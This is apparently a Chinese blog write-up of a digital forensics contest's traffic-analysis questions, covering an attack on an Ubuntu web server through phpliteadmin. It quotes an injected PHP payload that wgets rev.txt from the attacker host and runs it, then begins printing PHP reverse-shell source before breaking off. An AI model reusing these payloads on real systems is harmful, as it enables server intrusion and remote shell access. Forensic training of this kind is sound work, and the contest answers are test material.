24首届数证杯（流量分析部分）-优快云博客

本文链接：https://blog.youkuaiyun.com/weixin_49064458/article/details/143834069

流量分析

1、分析网络流量包检材，写出抓取该流量包时所花费的秒数?(填写数字，答案格式:10)

相加即可

在这里插入图片描述

2、分析网络流量包检材，抓取该流量包时使用计算机操作系统的build版本是多少?

23F79

在这里插入图片描述

3、分析网络流量包检材，受害者的IP地址是?(答案格式:192.168.1.1)

192.168.75.131

结合报文和会话的统计可以确定

在这里插入图片描述

4、分析网络流量包检材，受害者所使用的操作系统是?(小写字母，答案格式:biwu)

ubuntu

直接看报文

在这里插入图片描述

5、分析网络流量包检材，攻击者使用的端口扫描工具是?(小写字母，答案格式:abc)

nmap

报文中包含Nmap Scripting Engine (NSE)：说明该请求由 Nmap 的脚本引擎发出。

User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

6、分析网络流量包检材，攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)

3.1.0

Wfuzz 是一个 Python 编码的应用程序，用于模糊测试 Web 应用程序。它提供了各种过滤器，通过将简单的 Web 请求替换为变量“FUZZ”，可以将其替换为所需的字典列表。

在这里插入图片描述

7、分析网络流量包检材，攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)

/dbadmin/test_db.php

我直接看导出结果中的文件

在这里插入图片描述

跟进查看，可以看到登录成功了

在这里插入图片描述

8、分析网络流量包检材，攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)

admin

在这里插入图片描述

9、分析网络流量包检材，攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)

demo.php

攻击者先是创建了demo.php，之后再写入了phpinfo

在这里插入图片描述

写入phpinfo
在这里插入图片描述

10 、分析网络流量包检材，攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?

rev.txt

可以看到木马脚本，往前看报文可以发现通过wget命令上传的
在这里插入图片描述

在这里插入图片描述

tablename=rev&rows=1&0_field=re&0_type=INTEGER&0_defaultvalue=<?php system("wget 192.168.75.132:2000/rev.txt -O /tmp/rev.php; php /tmp/rev.php"); ?>')

11 、分析网络流量包检材，攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)

192.168.75.132:30127

根据上传脚本里的内容

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
   
	$pid = pcntl_fork();
	
	if ($pid == -1) {
   
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
   
		exit(0